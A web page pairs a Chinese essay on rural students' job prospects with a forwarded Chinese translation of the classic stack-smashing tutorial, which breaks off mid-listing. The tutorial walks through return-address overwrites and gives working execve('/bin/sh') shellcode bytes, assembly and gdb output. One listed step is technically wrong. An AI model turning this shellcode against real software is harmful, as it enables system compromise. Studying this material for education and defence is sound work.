  中国的下等人是谁自然不必多说。要工作,他们到城市会被驱赶和盘剥;要开公司,他们没有启动费用;要从政更是痴心妄想,现在买个官比开个公司难多了。唯一改换身份的出路是上学,如果子女碰巧有天资、能考试,那么就是一个希望。俺就出身这样一个家庭,城市的朋友,都不明白,为啥有些农民,付不起孩子上学的钱,会自杀。上不起学,打工去不就行了吗?事情不是这样,考上大学,不仅仅意味着更好的机会,它意味着跳出了老鼠的儿子要打洞,一代代的农民,一代代的受苦的循环。近几年的教育高收费,将这条路也渐渐堵塞。在俺念的北大计算机系,97级本科有一半农民子弟,而01级本科的小ddmm们,已经基本没有农民成份了。
  但上大学,并不意味着进入中产阶级或是上流社会,特别是在扔个砖头都可以砸倒几个博士的时代,大学生的价值越来越小。在国内,摆在大学生面前的出路,一条比一条难走。唯一越走越宽的道路就是傍大款,因为有钱人越来越多。傍大款这个词,现在已经不流行了,流行的是做小秘和包二奶,充分体现了中国文化博大精神,与时俱进的风格。但这条路毕竟只有少数人可走,绝大多数还得工作,就算读研暂缓几年,工作还是免不了的,总不能读书读到死吧。
  今年回了一趟北京,真是在招聘会上开眼了。俺也算是有一定阅历的家伙了,可从来没见过这么拥挤、这么多大学生红着眼睛左冲右突的招聘会。这几年经济增长得很快。可别的国家经济增长,伴随的是股市行情飚红,就业机会遍地都是,低收入群体得到更好保障。可中国的经济增长却是反其道而行之,这钱都到哪去了呢?招聘会结束了,几天以后,消息下来了,本科生三四千,研究生四五千,博士生六七千,像狗一样的找工作虽然和像狗一样的出国有所相似,可一个卖得贱,一个则卖得贵些。现在网上有些人觉得中国的经济环境很好啊,他们的理由是:经济环境不好,外资怎么刷刷地就进来了呢?这还用废话吗?像垃圾袋一样便宜的大学生劳动力,没有法律保障的工作时间,法官不是腐败的就是向着资本家的,还不让工人自己组织工会。这个大中国,不摆明了是外国资本家天堂中的天堂么?可俺们,迈向上流社会的大学生们,环顾四方的时候,又发现自己是在哪里呢?以上是俺要说的话,但愿对已经出国和想出国和不想出国的大学生们有用。

read more...

转发: 缓冲溢出原理zz(转寄)

━━━━━━━━━━━━━━━━━━━━━━
邹勇
ZouYong
Room 420A ZJ1# Tsinghua Univ.
Haidian Beijing, China 100084

Tel: +(86)10-51534420,13581829417
Email: [email protected]
━━━━━━━━━━━━━━━━━━━━━━

-----邮件原件-----
发件人: [email protected] [mailto:[email protected]]
发送时间: 2005年4月21日 22:40
收件人: [email protected]
主题: 缓冲溢出原理zz(转寄)

标题:缓冲区溢出的原理和实践(Phrack)

作者:Sinbad 返 回 我要评论
发信人: Sinbad <[email protected]>
标 题: 缓冲区溢出的原理和实践(Phrack)
发信站: 辛巴达 (Fri Jun 15 08:31:09 2001)

.oO Phrack 49 Oo.

Volume Seven, Issue Forty-Nine

File 14 of 16

BugTraq, r00t, and Underground.Org
bring you

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
以娱乐和牟利为目的践踏堆栈
(缓冲区溢出的原理和实践)
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

原作 by Aleph One
[email protected]

翻译 [email protected]
www.chinasafer.com

'践踏堆栈'[C语言编程] n. 在许多C语言的实现中,有可能通过写入例程
中所声明的数组的结尾部分来破坏可执行的堆栈.所谓'践踏堆栈'使用的
代码可以造成例程的返回异常,从而跳到任意的地址.这导致了一些极为
险恶的数据相关漏洞(已人所共知).其变种包括堆栈垃圾化(trash the
stack),堆栈乱写(scribble the stack),堆栈毁坏(mangle the stack);
术语mung the stack并不使用,因为这从来不是故意造成的.参阅spam?
也请参阅同名的漏洞,胡闹内核(fandango on core),内存泄露(memory
leak),优先权丢失(precedence lossage),螺纹滑扣(overrun screw).

简 介
~~~~~~~

在过去的几个月中,被发现和利用的缓冲区溢出漏洞呈现上升趋势.例如syslog,
splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at等等.本文试图

解释什么是缓冲区溢出, 以及如何利用.

汇编的基础知识是必需的. 对虚拟内存的概念, 以及使用gdb的经验是十分有益
的, 但不是必需的. 我们还假定使用Intel x86 CPU, 操作系统是Linux.

在开始之前我们给出几个基本的定义: 缓冲区,简单说来是一块连续的计算机内

存区域, 可以保存相同数据类型的多个实例. C程序员通常和字缓冲区数组打交道.
最常见的是字符数组. 数组, 与C语言中所有的变量一样, 可以被声明为静态或动态
的. 静态变量在程序加载时定位于数据段. 动态变量在程序运行时定位于堆栈之中.
溢出, 说白了就是灌满, 使内容物超过顶端, 边缘, 或边界. 我们这里只关心动态
缓冲区的溢出问题, 即基于堆栈的缓冲区溢出.

进程的内存组织形式
~~~~~~~~~~~~~~~~~~~~
为了理解什么是堆栈缓冲区, 我们必须首先理解一个进程是以什么组织形式在
内存中存在的. 进程被分成三个区域: 文本, 数据和堆栈. 我们把精力集中在堆栈
区域, 但首先按照顺序简单介绍一下其他区域.

文本区域是由程序确定的, 包括代码(指令)和只读数据. 该区域相当于可执行
文件的文本段. 这个区域通常被标记为只读, 任何对其写入的操作都会导致段错误
(segmentation violation).

数据区域包含了已初始化和未初始化的数据. 静态变量储存在这个区域中. 数
据区域对应可执行文件中的data-bss段. 它的大小可以用系统调用brk(2)来改变.
如果bss数据的扩展或用户堆栈把可用内存消耗光了, 进程就会被阻塞住, 等待有了
一块更大的内存空间之后再运行. 新内存加入到数据和堆栈段的中间.

/------------------\ 内存低地址
| |
| 文本 |
| |
|------------------|
| (已初始化) |
| 数据 |
| (未初始化) |
|------------------|
| |
| 堆栈 |
| |
\------------------/ 内存高地址

Fig. 1 进程内存区域


什么是堆栈?
~~~~~~~~~~~~~

堆栈是一个在计算机科学中经常使用的抽象数据类型. 堆栈中的物体具有一个特性:
最后一个放入堆栈中的物体总是被最先拿出来, 这个特性通常称为后进先处(LIFO)队列.

堆栈中定义了一些操作. 两个最重要的是PUSH和POP. PUSH操作在堆栈的顶部加入一
个元素. POP操作相反, 在堆栈顶部移去一个元素, 并将堆栈的大小减一.

为什么使用堆栈?
~~~~~~~~~~~~~~~~
现代计算机被设计成能够理解人们头脑中的高级语言. 在使用高级语言构造程序时
最重要的技术是过程(procedure)和函数(function). 从这一点来看, 一个过程调用可
以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时,
函数把控制权返回给调用之后的语句或指令. 这种高级抽象实现起来要靠堆栈的帮助.

堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返
回值也要用到堆栈.

堆栈区域
~~~~~~~~~~
堆栈是一块保存数据的连续内存. 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部.
堆栈的底部在一个固定的地址. 堆栈的大小在运行时由内核动态地调整. CPU实现指令
PUSH和POP, 向堆栈中添加元素和从中移去元素.

堆栈由逻辑堆栈帧组成. 当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑
堆栈帧被从栈中弹出. 堆栈帧包括函数的参数, 函数地局部变量, 以及恢复前一个堆栈
帧所需要的数据, 其中包括在函数调用时指令指针(IP)的值.

堆栈既可以向下增长(向内存低地址)也可以向上增长, 这依赖于具体的实现. 在我
们的例子中, 堆栈是向下增长的. 这是很多计算机的实现方式, 包括Intel, Motorola,
SPARC和MIPS处理器. 堆栈指针(SP)也是依赖于具体实现的. 它可以指向堆栈的最后地址,
或者指向堆栈之后的下一个空闲可用地址. 在我们的讨论当中, SP指向堆栈的最后地址.

除了堆栈指针(SP指向堆栈顶部的的低地址)之外, 为了使用方便还有指向帧内固定
地址的指针叫做帧指针(FP). 有些文章把它叫做局部基指针(LB-local base pointer).
从理论上来说, 局部变量可以用SP加偏移量来引用. 然而, 当有字被压栈和出栈后, 这
些偏移量就变了. 尽管在某些情况下编译器能够跟踪栈中的字操作, 由此可以修正偏移
量, 但是在某些情况下不能. 而且在所有情况下, 要引入可观的管理开销. 而且在有些
机器上, 比如Intel处理器, 由SP加偏移量访问一个变量需要多条指令才能实现.

因此, 许多编译器使用第二个寄存器, FP, 对于局部变量和函数参数都可以引用,
因为它们到FP的距离不会受到PUSH和POP操作的影响. 在Intel CPU中, BP(EBP)用于这
个目的. 在Motorola CPU中, 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP.
考虑到我们堆栈的增长方向, 从FP的位置开始计算, 函数参数的偏移量是正值, 而局部
变量的偏移量是负值.

当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以
恢复). 然后它把SP复制到FP, 创建新的FP, 把SP向前移动为局部变量保留空间. 这称为
例程的序幕(prolog)工作. 当例程退出时, 堆栈必须被清除干净, 这称为例程的收尾
(epilog)工作. Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用于
有效地序幕和收尾工作.

下面我们用一个简单的例子来展示堆栈的模样:

example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}
------------------------------------------------------------------------------


为了理解程序在调用function()时都做了哪些事情, 我们使用gcc的-S选项编译, 以产
生汇编代码输出:

$ gcc -S -o example1.s example1.c

通过查看汇编语言输出, 我们看到对function()的调用被翻译成:

pushl $3
pushl $2
pushl $1
call function

以从后往前的顺序将function的三个参数压入栈中, 然后调用function(). 指令call
会把指令指针(IP)也压入栈中. 我们把这被保存的IP称为返回地址(RET). 在函数中所做
的第一件事情是例程的序幕工作:

pushl %ebp
movl %esp,%ebp
subl $20,%esp

将帧指针EBP压入栈中. 然后把当前的SP复制到EBP, 使其成为新的帧指针. 我们把这
个被保存的FP叫做SFP. 接下来将SP的值减小, 为局部变量保留空间.

我们必须牢记:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节
的缓冲区会占用8个字节(2个字)的内存空间, 而10个字节的缓冲区会占用12个字节(3个字)
的内存空间. 这就是为什么SP要减掉20的原因. 这样我们就可以想象function()被调用时
堆栈的模样(每个空格代表一个字节):

内存低地址 内存高地址

buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

堆栈顶部 堆栈底部


缓冲区溢出
~~~~~~~~~~~~
缓冲区溢出是向一个缓冲区填充超过它处理能力的数据所造成的结果. 如何利用这个
经常出现的编程错误来执行任意代码呢? 让我们来看看另一个例子:

example2.c
------------------------------------------------------------------------------
void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large_string[i] = 'A';

function(large_string);
}
------------------------------------------------------------------------------

这个程序的函数含有一个典型的内存缓冲区编码错误. 该函数没有进行边界检查就复
制提供的字符串, 错误地使用了strcpy()而没有使用strncpy(). 如果你运行这个程序就
会产生段错误. 让我们看看在调用函数时堆栈的模样:

内存低地址 内存高地址

buffer sfp ret *str
<------ [ ][ ][ ][ ]

堆栈顶部 堆栈底部

这里发生了什么事? 为什么我们得到一个段错误? 答案很简单: strcpy()将*str的
内容(larger_string[])复制到buffer[]里, 直到在字符串中碰到一个空字符. 显然,
buffer[]比*str小很多. buffer[]只有16个字节长, 而我们却试图向里面填入256个字节
的内容. 这意味着在buffer之后, 堆栈中250个字节全被覆盖. 包括SFP, RET, 甚至*str!
我们已经把large_string全都填成了A. A的十六进制值为0x41. 这意味着现在的返回地
址是0x41414141. 这已经在进程的地址空间之外了. 当函数返回时, 程序试图读取返回
地址的下一个指令, 此时我们就得到一个段错误.

因此缓冲区溢出允许我们更改函数的返回地址. 这样我们就可以改变程序的执行流程.
现在回到第一个例子, 回忆当时堆栈的模样:

内存低地址 内存高地址

buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

堆栈顶部 堆栈底部

现在试着修改我们第一个例子, 让它可以覆盖返回地址, 而且使它可以执行任意代码.
堆栈中在buffer1[]之前的是SFP, SFP之前是返回地址. ret从buffer1[]的结尾算起是4个
字节.应该记住的是buffer1[]实际上是2个字即8个字节长. 因此返回地址从buffer1[]的开
头算起是12个字节. 我们会使用这种方法修改返回地址, 跳过函数调用后面的赋值语句
'x=1;', 为了做到这一点我们把返回地址加上8个字节. 代码看起来是这样的:

example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;

ret = buffer1 + 12;
(*ret) += 8;
}

void main() {
int x;

x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------

我们把buffer1[]的地址加上12, 所得的新地址是返回地址储存的地方. 我们想跳过
赋值语句而直接执行printf调用. 如何知道应该给返回地址加8个字节呢? 我们先前使用
过一个试验值(比如1), 编译该程序, 祭出工具gdb:

------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
------------------------------------------------------------------------------

我们看到当调用function()时, RET会是0x8004a8, 我们希望跳过在0x80004ab的赋值
指令. 下一个想要执行的指令在0x8004b2. 简单的计算告诉我们两个指令的距离为8字节.

Shell Code
~~~~~~~~~~
现在我们可以修改返回地址即可以改变程序执行的流程, 我们想要执行什么程序呢?
在大多数情况下我们只是希望程序派生出一个shell. 从这个shell中, 可以执行任何我
们所希望的命令. 但是如果我们试图破解的程序里并没有这样的代码可怎么办呢? 我们
怎么样才能将任意指令放到程序的地址空间中去呢? 答案就是把想要执行的代码放到我
们想使其溢出的缓冲区里, 并且覆盖函数的返回地址, 使其指向这个缓冲区. 假定堆栈
的起始地址为0xFF, S代表我们想要执行的代码, 堆栈看起来应该是这样:

内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c

<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
堆栈顶部 堆栈底部

派生出一个shell的C语言代码是这样的:

shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------

为了查明这程序变成汇编后是个什么样子, 我们编译它, 然后祭出调试工具gdb. 记住
在编译的时候要使用-static标志, 否则系统调用execve的真实代码就不会包括在汇编中,

取而代之的是对动态C语言库的一个引用, 真正的代码要到程序加载的时候才会联入.

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>

0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------

下面我们看看这里究竟发生了什么事情. 先从main开始研究:

------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp

这是例程的准备工作. 首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针,
然后为局部变量保留空间. 这里是:

char *name[2];

即2个指向字符串的指针. 指针的长度是一个字, 所以这里保留2个字(8个字节)的
空间.

0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)

我们把0x80027b8(字串"/bin/sh"的地址)这个值复制到name[]中的第一个指针, 这
等价于:

name[0] = "/bin/sh";

0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)


我们把值0x0(NULL)复制到name[]中的第二个指针, 这等价于:

name[1] = NULL;

对execve()的真正调用从下面开始:

0x8000144 <main+20>: pushl $0x0

我们把execve()的参数以从后向前的顺序压入堆栈中, 这里从NULL开始.

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

把name[]的地址放到EAX寄存器中.

0x8000149 <main+25>: pushl %eax

接着就把name[]的地址压入堆栈中.

0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

把字串"/bin/sh"的地址放到EAX寄存器中

0x800014d <main+29>: pushl %eax

接着就把字串"/bin/sh"的地址压入堆栈中

0x800014e <main+30>: call 0x80002bc <__execve>

调用库例程execve(). 这个调用指令把IP(指令指针)压入堆栈中.
------------------------------------------------------------------------------

现在到了execve(). 要注意我们使用的是基于Intel的Linux系统. 系统调用的细节随
操作系统和CPU的不同而不同. 有的把参数压入堆栈中, 有的保存在寄存器里. 有的使用
软中断跳入内核模式, 有的使用远调用(far call). Linux把传给系统调用的参数保存在
寄存器里, 并且使用软中断跳入内核模式.

------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx

例程的准备工作.

0x80002c0 <__execve+4>: movl $0xb,%eax

把0xb(十进制的11)放入寄存器EAX中(原文误为堆栈). 0xb是系统调用表的索引
11就是execve.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

把"/bin/sh"的地址放到寄存器EBX中.

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

把name[]的地址放到寄存器ECX中.

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

把空指针的地址放到寄存器EDX中.

0x80002ce <__execve+18>: int $0x80

进入内核模式.
------------------------------------------------------------------------------

由此可见调用execve()也没有什么太多的工作要做, 所有要做的事情总结如下:

a) 把以NULL结尾的字串"/bin/sh"放到内存某处.
b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word)
.
c) 把0xb放到寄存器EAX中.
d) 把字串"/bin/sh"的地址放到寄存器EBX中.
e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.
(注: 原文d和e步骤把EBX和ECX弄反了)
f) 把空长字的地址放到寄存器EDX中.
g) 执行指令int $0x80.

但是如果execve()调用由于某种原因失败了怎么办? 程序会继续从堆栈中读取指令,
这时的堆栈中可能含有随机的数据! 程序执行这样的指令十有八九会core dump. 如果execv
e
调用失败我们还是希望程序能够干净地退出. 为此必须在调用execve之后加入一个exit
系统调用. exit系统调用在汇编语言看起来象什么呢?

exit.c

------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
exit(0);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------

系统调用exit会把0x1放到寄存器EAX中, 在EBX中放置退出码, 并且执行"int 0x80".
就这些了! 大多数应用程序在退出时返回0, 以表示没有错误. 我们在EBX中也放入0. 现
在我们构造shell code的步骤就是这样的了:

a) 把以NULL结尾的字串"/bin/sh"放到内存某处.
b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word)
.
c) 把0xb放到寄存器EAX中.
d) 把字串"/bin/sh"的地址放到寄存器EBX中.
e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.
(注: 原文d和e步骤把EBX和ECX弄反了)
f) 把空长字的地址放到寄存器EDX中.
g) 执行指令int $0x80.
h) 把0x1放到寄存器EAX中.
i) 把0x0放到寄存器EAX中.
j) 执行指令int $0x80.

试着把这些步骤变成汇编语言, 把字串放到代码后面. 别忘了在数组后面放上字串
地址和空字, 我们有如下的代码:

------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------

问题是我们不知道在要破解的程序的内存空间中, 上述代码(和其后的字串)会被放到
哪里. 一种解决方法是使用JMP和CALL指令. JMP和CALL指令使用相对IP的寻址方式, 也就
是说我们可以跳到距离当前IP一定间距的某个位置, 而不必知道那个位置在内存中的确切
地址. 如果我们在字串"/bin/sh"之前放一个CALL指令, 并由一个JMP指令转到CALL指令上.
当CALL指令执行的时候, 字串的地址会被作为返回地址压入堆栈之中. 我们所需要的就是
把返回地址放到一个寄存器之中. CALL指令只是调用我们上述的代码就可以了. 假定J代
表JMP指令, C代表CALL指令, s代表字串, 执行过程如下所示:

内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c

<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)

堆栈顶部 堆栈底部

运用上述的修正方法, 并使用相对索引寻址, 我们代码中每条指令的字节数目如下:

------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------

通过计算从jmp到call, 从call到popl, 从字串地址到数组, 从字串地址到空长字的
偏量, 我们得到:

------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------

这看起来很不错了. 为了确保代码能够正常工作必须编译并执行. 但是还有一个问题.
我们的代码修改了自身, 可是多数操作系统将代码页标记为只读. 为了绕过这个限制我们
必须把要执行的代码放到堆栈或数据段中, 并且把控制转到那里. 为此应该把代码放到数
据段中的全局数组中. 我们首先需要用16进制表示的二进制代码. 先编译, 然后再用gdb
来取得二进制代码.

shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------

成了! 但是这里还有一个障碍, 在多数情况下, 我们都是试图使一个字符缓冲区溢出.
那么在我们shellcode中的任何NULL字节都会被认为是字符串的结尾, 复制工作就到此为

止了. 对于我们的破解工作来说, 在shellcode里不能有NULL字节. 下面来消除这些字节,
同时把代码精简一点.

Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

Our improved code:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
